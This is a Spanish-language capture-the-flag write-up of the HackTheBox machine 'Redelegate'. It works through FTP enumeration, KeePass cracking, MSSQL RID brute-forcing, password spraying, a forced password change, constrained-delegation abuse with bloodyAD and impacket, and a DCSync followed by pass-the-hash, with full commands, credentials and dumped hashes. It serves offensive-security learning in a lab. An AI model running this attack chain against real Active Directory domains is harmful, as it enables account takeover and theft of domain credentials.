Machines - Redelegate (HTB)
Las máquinas (de HackTheBox) son retos gamificados enfocados a Red Team o por lo menos, seguridad ofensiva, donde tendrás que intentar tomar control total de la máquina que tengas adelante abusando de vulnerabilidades para Obtener un Foothold, y luego seguir con generalmente, movimiento lateral y finalmente, la escalada de privilegios; Estos laboratorios son especialmente útiles para probar conceptos de seguridad ofensiva ya que tendrás que abusar de ellos para seguir avanzando.

Resumen Redelegate
Redelegate es una máquina Windows “Difícil” (Muchas de las partes son un poco directas) entre malas configuraciones de varias aplicaciones, uso de Bloodhound para abusar de privilegios para movernos lentamente hacia el DC, donde la mezcla de un usuario (con cierto privilegio) y un ACE sobre un objeto, hacen la receta perfecta para un Constrained Delegation Attack.
Para más detalles, podemos resumir/mencionar el trabajo en este flujo
- Escaneo Inicial Como siempre,
nmappara empezar el día. - Enumeración FTP y Bruteforce kdbx Encontramos una mala configuración de FTP y algunos de sus archivos nos dìrán la dirección de los tiros.
- Enumeración del entorno abusando acceso MSSQL Encontrando las credenciales de la base de datos de KeePass, enumeramos el entorno.
- Account TakeOver via ForceChangePassword Con los resultados de la enumeración, encontramos en primera, un usuario del que podremos aprovechar un extended right sobre un usuario que puede conectarse al DC.
- Abuso GenericAll y SeEnableDelegationPrivilege Este usuario para nuestra sorpresa, tiene un permiso especìfico y también un privilegio con el que podremos formar un Constrained Delegation
- DCSync Una vez con la identidad robada, podemos hacer un
DCSynccon el que dumpearemos los hashes NT del dominio.
Como mencioné antes, el flujo es entretenido, pero lo realmente interesante es cómo se arma el Constrained Delegation, ojalá disfruten esta escalada como lo hice yo :p.
Laboratorio
Escaneo Inicial
Bien!, iniciemos con el escaneo tìpico de nmap, como siempre, de forma rápida, enumerando todos los puertos, guardándolo en un Grepeable, adelante la explicación a detalle:
nmap -p- --min-rate 5000 -n -Pn 10.129.234.50 -oG allports
-p-Indica el escaneo de los 65,535 puertos--min-rate 5000Indica la velocidad de transmisión de paquetes (a una tasa mínima de 5,000 paquetes por segundo)-nDeshabilita la resolución DNS de la IP-PnDeshabilita el reconocimiento con icmp que realizanmappara determinar si el host está activo o no10.10.11.82La IP objetivo-oG allportsIndica un archivo de salida en formato grepeable (facilita mucho el utilizar bash para la extracción de información del archivo)
Not shown: 65058 filtered tcp ports (no-response), 468 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
3389/tcp open ms-wbt-server
Desde los resultados, podemos ir sospechando de un AD, la combinación del 53, 135, 139 y el 445 es lo más común encontrar en este tipo de máquinas; el puerto 3389 (RDP) no siempre se encuentra, pero, pues puede ser un protocolo de acceso bastante jugoso, pero necesitaremos las credenciales.
Bien, ahora con estos resultados, ejecutamos el segundo escaneo de nmap pero con los ‘scrips por defecto’ (que son varios scripts que realizan escaneos extras a cada uno de los servicios, bueno, dependiendo de los servicios) y la enumeración de versiones (Lo cual es bastante importante, qué tal que tenga alguna versión vulnerable y alcanzar NT AUTHORITY SYSTEM luego luego, nunca se sabe cuándo tocará).
nmap -p 21,53,80,135,139,445,1433,3389 -sCV -n -Pn 10.129.234.50 -oN OpenṔorts
-p21,53,80,135,139,445,3389Limita el escaneo a los puertos que encontramos abiertos.-sCVSon 2 flags combinadas de nmap (-sC) para la ejecución de scripts por defecto de nmap (mayor información) y (-sV) para determinar la versión del servicio.-oN OpenPortsIndica que el output del comando lo reporte en un formato nmap, la salida de lo que veas en consola será lo que verás en el archivo.
Lo primero que veremos en el reporte será:

Enumeración FTP y Bruteforce kdbx
Un FTP Anonymous!, y con 3 archivitos; accedemos mediante ftp al servidor y utilizamos las credenciales del usuario anonimo: (recuerda __anonymous:

Una vez dentro, puedes escargar con get, eso sì, revisa las alertas, especialmente cuando intentamos descargar un archivo binario como la base de datos de KeePass:

Esto sucede por una única cosa, el Line Feed y el Carriage Return, que no es más que, cómo, internamente, se “escriben” los saltos de linea; en Linux, estos saltos son representados con el \n (El Line Feed), pero en windows, es representado por \r\n (el CR y el LF).
Cuando descargamos un archivo por FTP, el protocolo supone que es un archivo de texto, entonces, para que se vea bien en Windows, le añade los saltos de linea utilizando el \r\n, pero esto especialmente afecta a los binarios (o zips, o jpgs o muchos más), que no contiene texto, sino datos puros (lo que lo corrompe).
Entonces, utilizamos el comando binary dentro de FTP para evitar este problema:

Y no olvides descargar los otros dos archivos!
¿Qué sigue?, bueno, ese archivo kdbx es una caja fuerte de contraseñas, si tiene alguna débil, podremos leer los contenidos y seguramente, alguna cuenta. Además… Leyendo los archivos, mencionan algo que nos interesa:

Quizá demasiado directo, pero útil; entonces creamos nuestro pequeño diccionario con ese formato:
SeasonYear!
Spring2025!
Winter2025!
Summer2025!
Fall2025!
Spring2024!
Winter2024!
Summer2024!
Fall2024!
Spring2023!
...
Y Utilizamos keepass2john (https://github.com/ivanmrsulja/keepass2john/blob/master/keepass2john.py):
python keepass2john.py Shared.kdbx > output.hash
Y utilizando john, utilizamos nuestra lista para encontrar nuestra respuesta:
john --format=keepass --wordlist=./list.txt output.hash
Shared<SHOULD_BE_REMOVED_INCLUDING_COLON>:Fall2024!
Luego, utilizamos keepass2 para leer los contenidos (o en realidad, cualquier herramienta que pueda abrir el archivo):

Ya dentro, podemos acceder a las credenciales que querramos:

Ahora, ya que tenemos credenciales, y jústamente MSSQL abierto, accedemos con la cuenta de SQLGuest con netexec así que probamos el login por mssql
❯ nxc mssql 10.129.234.50 -u SQLGuest -p zDPBpaF4FywlqIv11vii
MSSQL 10.129.234.50 1433 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:redelegate.vl) (EncryptionReq:False)
MSSQL 10.129.234.50 1433 DC [-] redelegate.vl\SQLGuest:zDPBpaF4FywlqIv11vii (Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication. Please try again with or without '--local-auth')
Esto sucede porque por defecto netexec intenta autenticarse o usando kerberos o NT (Es decir, utilizando métodos como si la cuenta estuviera dentro del dominio), pero a veces, esas cuentas son locales (Es decir, viven en la SAM de la máquina, no en el dominio en sí); Por ello, se utiliza el flag --local-auth que le indica a la máquina, ‘Esta cuenta es local, verifícala en tu base de datos’.
❯ nxc mssql 10.129.234.50 -u SQLGuest -p zDPBpaF4FywlqIv11vii --local-auth
MSSQL 10.129.234.50 1433 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:redelegate.vl) (EncryptionReq:False)
MSSQL 10.129.234.50 1433 DC [+] DC\SQLGuest:zDPBpaF4FywlqIv11vii
Enumeración del entorno abusando acceso MSSQL
Ahora, podemos enumerar varias cosas dentro de MSSQL, pero es un callejón sin salida; aquí lo que hacemos es hacer un bruteforce del RID:
El RID o Relative Identifier es la pieza que identifica un usuario, grupo o computadora dentro de un dominio de AD; quizá en algún momento hayan visto algo parecido a esto:
S-1-5-21-3623811015-3361044348-30300820-1001
Este es un SID (Security Identifier), justo al final de este identificador, está el RID.
Hay 2 protocolos con los que podemos hacer bruteforce de RID (El programa pregunta uno por uno de los RIDs en el dominio y nos lista si existen (súmamente simplificado xd)): Con SMB (Pero en este caso no tenemos SMB) y con MSSQL:
❯ nxc mssql 10.129.234.50 -u SQLGuest -p zDPBpaF4FywlqIv11vii --local-auth --rid-brute
MSSQL 10.129.234.50 1433 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:redelegate.vl) (EncryptionReq:False)
MSSQL 10.129.234.50 1433 DC [+] DC\SQLGuest:zDPBpaF4FywlqIv11vii
MSSQL 10.129.234.50 1433 DC 498: REDELEGATE\Enterprise Read-only Domain Controllers
MSSQL 10.129.234.50 1433 DC 500: WIN-Q13O908QBPG\Administrator
MSSQL 10.129.234.50 1433 DC 501: REDELEGATE\Guest
MSSQL 10.129.234.50 1433 DC 502: REDELEGATE\krbtgt
MSSQL 10.129.234.50 1433 DC 512: REDELEGATE\Domain Admins
....
MSSQL 10.129.234.50 1433 DC 1104: REDELEGATE\Christine.Flanders
MSSQL 10.129.234.50 1433 DC 1105: REDELEGATE\Marie.Curie
MSSQL 10.129.234.50 1433 DC 1106: REDELEGATE\Helen.Frost
....
Bien, aquí identificamos las cuentas de usuario (las que tienen forma de cuentas de usuario haha), Como parece, tienen el formato Nombre.Apellido, aquí es donde entra la magia del scripting para limpiar la salida de nxc y quedarse sólo con las cuentas.
Con sólo las cuentas de usuario listadas en un diccionario, vamos a ver si alguna de ellas también tiene la mala costumbre de utilizar contraseñas débiles… como SeasonYear!:
❯ nxc smb 10.129.234.50 -u ./users -p ../content/list.txt
....
SMB 10.129.234.50 445 DC [+] redelegate.vl\Marie.Curie:Fall2024!
Tarde o temprano obtendremos ese hit, un usuario con contraseña débil; ahora que tenemos acceso por SMB ya podemos autenticarnos por ldap enumerar para bloodhound:
❯ nxc ldap 10.129.234.50 -u Marie.Curie -p Fall2024! --bloodhound --collection All
Cuando haya terminado, importamos los resultados a bloodhound y buscamos usuarios con privilegios “interesantes”
Lo que a mi me gusta hacer, es una forma muy bruta: Busco el nodo que controlo y lo añado a owned

Como tutorial de youtube del 2015, “yo ya lo hice, pero a ustedes les saldrá que no”.
Y bueno, buscar en el Outbound Object Control qué control se supone que tenemos:

En la imagen se ve el pequeño spoiler; pero entendamos: Marie.Curie tiene privilegios extendidos por su membership al grupo Helpdesk ahora, ¿Qué contraseña cambiamos? Pues la que más nos convenga básicamente; tenemos que repetir el proceso de qué permisos tiene cada uno de los usuarios…
Les adelanto que Helen.Frost tiene de los más importantes: Si observamos de qué es miembro, nos encontramos con:

Que es miembro de Remote Management Users, abriendo la vía potencial de que nos permita el acceso al DC mediante winrm
Account TakeOver via ForceChangePassword
¿Cómo tomamos la cuenta?, pues muy fácil en realidad, hasta bloodhound nos ayuda con eso (sólo le damos click a ForceChangePassword):

Tal y como nos dice; podemos utilizar net para cambiar la contraseña:
net rpc password "helen.frost" "P@SsWord0" -U "Redelegate.vl"/"marie.curie"%"Fall2024!" -S "10.129.234.50"
No vemos salida, lo cual es bueno, y probamos las credenciales nuevas…
❯ nxc smb 10.129.234.50 -u helen.frost -p P@SsWord0
SMB 10.129.234.50 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.50 445 DC [+] redelegate.vl\helen.frost:P@SsWord0
Confirmadas!, podemos utilizar Evil-WinRM y entrar a la máquina.
❯ evil-winrm -u helen.frost -p P@SsWord0 -i 10.129.234.50
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Helen.Frost\Documents>
Hermoso!.
Ahora, lo primero, es revisar qué privilegios tiene nuestro usuario; para eso utilizamos el tìpico whoami /priv:
*Evil-WinRM* PS C:\Users\Helen.Frost\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Abuso GenericAll y SeEnableDelegationPrivilege
Esta salida es muy especial; el privilegio SeEnableDelegationPrivilege es uno que normalmente, sólo está disponible para los Administradores; ¿Qué hace?:
El privilegio SeDelegationPrivilege (conocido en la interfaz de Windows como “Habilitar que las cuentas de equipo y de usuario tengan confianza para la delegación”) … En pocas palabras, permite que un usuario o equipo suplante a otros usuarios ante servicios de red.
Cuando tú te autenticas ante un servidor o Servicio, ese servidor sabe quién eres (pues, te autenticaste), pero… No puede usar tu identidad para entrar a un segundo servidor o servicio; este privilegio rompe esta limitante; Con el permiso, puedes permitir guardar las credenciales de un cliente y reenviarla a otro servicio como si fuera el original.
Esto tiene varios usos, como por ejemplo, permitir a un proceso a acceder a recursos de red en nombre del usuario que inició sesión
Pero… Esto puede ser abusado para:
- Forzar a cualquier usuario que se conecte a entregar su
TGTy luego robar el ticket (Unconstrained Delegation) - Generar un ticket de servicio en nombre de cualquier usuario hacia un servicio especìfico permitido (Constrained Delegation)
(Hay otra pero esta depende más de tener o GenericWrite, GenericAll o WriteProperty: en la cual, tu objetivo es configurar a un equipo/objeto para confiar en una cuenta para realizar delegaciones, lo que permite suplantar cualquier cuenta sobre el equipo (Resource Based Constrained Delegation)).
Bien, ahora nos falta una pieza en el rompecabezas, revisemos Bloodhound:

Tenemos GenericAll sobre FS01.REDELEGATE.VL!, Esto nos otorga control total sobre este equipo, entonces… podemos utilizar ambos ingredientes para:
- Agregar un atributo a la máquina controlada (abusando de
GenericAll) - Utilizar el privilegio
SeEnableDelegationPrivilegepara agregar una entrada en el DC: permitir credenciales delegadas del equipo bajo control ante un serivico dentro del DC. - Pedir un ticket de servicio como el DC
Hagamos el flujo para entenderlo mejor:
Primero, agregamos el atributo TRUSTED_TO_AUTH_FOR_DELEGATION sobre FS01 (que es el equipo del que tenemos control), básicamente, estamos agregando una regla al equipo: Yo equipo FS01, tengo permisos para confirmar que alguien se autenticó para una delegación.
Para facilitarlo, pedimos el TGT de helen.frost:
❯ getTGT.py -dc-ip 10.129.234.50 "redelegate.vl/helen.frost":"P@SsWord0"
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in helen.frost.ccache
❯ export KRB5CCNAME=helen.frost.ccache
Ahora, con el ticket guardado, podemos utilizar Kerberos para autenticarnos (-k)
❯ bloodyAD -d redelegate.vl -k -i "10.129.234.50" -H "dc.redelegate.vl" add uac FS01$ -f TRUSTED_TO_AUTH_FOR_DELEGATION
[+] ['TRUSTED_TO_AUTH_FOR_DELEGATION'] property flags added to FS01$'s userAccountControl
Luego, permitimos la delegación desde nuestro equipo controlado hacia cifs/dc.redelegate.vl que básicamente estamos diciéndole al DC, permite la delegaión del equipo FS01 para el servicio cifs del controlador del Dominio
❯ bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" -i "10.129.234.50" set object FS01$ msDS-AllowedToDelegateTo -v 'cifs/dc.redelegate.vl'
[+] FS01$'s msDS-AllowedToDelegateTo has been updated
Ahora, cambiamos la contraseña del equipo bajo control para obtener la identidad de este (el TGT):
❯ bloodyAD -d redelegate.vl -k --host "dc.redelegate.vl" -i "10.129.234.50" set password "FS01$" "P##SwORD1"
[+] Password changed successfully!
❯ getTGT.py -dc-ip 10.129.234.50 "redelegate.vl/FS01$":"P##SwORD1"
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in FS01$.ccache
❯ export KRB5CCNAME=FS01\$.ccache
Finalmente… Como nuestro equipo bajo control, es confiado para “confirmar” una autenticación de un usuario en su nombre, ante el servicio CIFS, podemos crear un ticket de servicio de cualquier cuenta!, como por ejemplo la del DC:
❯ impacket-getST 'redelegate.vl/FS01$' -k -no-pass -spn "cifs/dc.redelegate.vl" -impersonate dc -dc-ip 10.129.20.120
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Impersonating dc
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc.ccache
DCSync
Bien, ahora con el ticket, hacemos el dumping de los hashes del dominio con el DCSync Attack, primero, nos exportamos el ticket, y luego utilizamos secretsdump.py
❯ took 6s export KRB5CCNAME=dc.ccache
❯ secretsdump.py -target-ip 10.129.20.120 -just-dc -just-dc-user Administrator -k -no-pass dc.redelegate.vl
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ec17f7a2a4d96e177bfc101b94ffc0a7:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:db3a850aa5ede4cfacb57490d9b789b1ca0802ae11e09db5f117c1a8d1ccd173
Administrator:aes128-cts-hmac-sha1-96:b4fb863396f4c7a91c49ba0c0637a3ac
Administrator:des-cbc-md5:102f86737c3e9b2f
[*] Cleaning up...
Y, tan sencillo como hacer PtH con evil-winrm:
❯ evil-winrm -H ec17f7a2a4d96e177bfc101b94ffc0a7 -u Administrator -i 10.129.20.120
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
PWNED!
Agradecimiento
Si lees esto, gracias por llegar hasta aquí!, si existen dudas, comentarios y correcciones (que son más que bienvenidas) contáctame con confianza, que siempre he dicho que la ciberseguridad es esfuerzo conjunto.
En caso que no los vea, buenos días, buenas tardes y buenas noches. Happy Hacking!.
Deja un comentario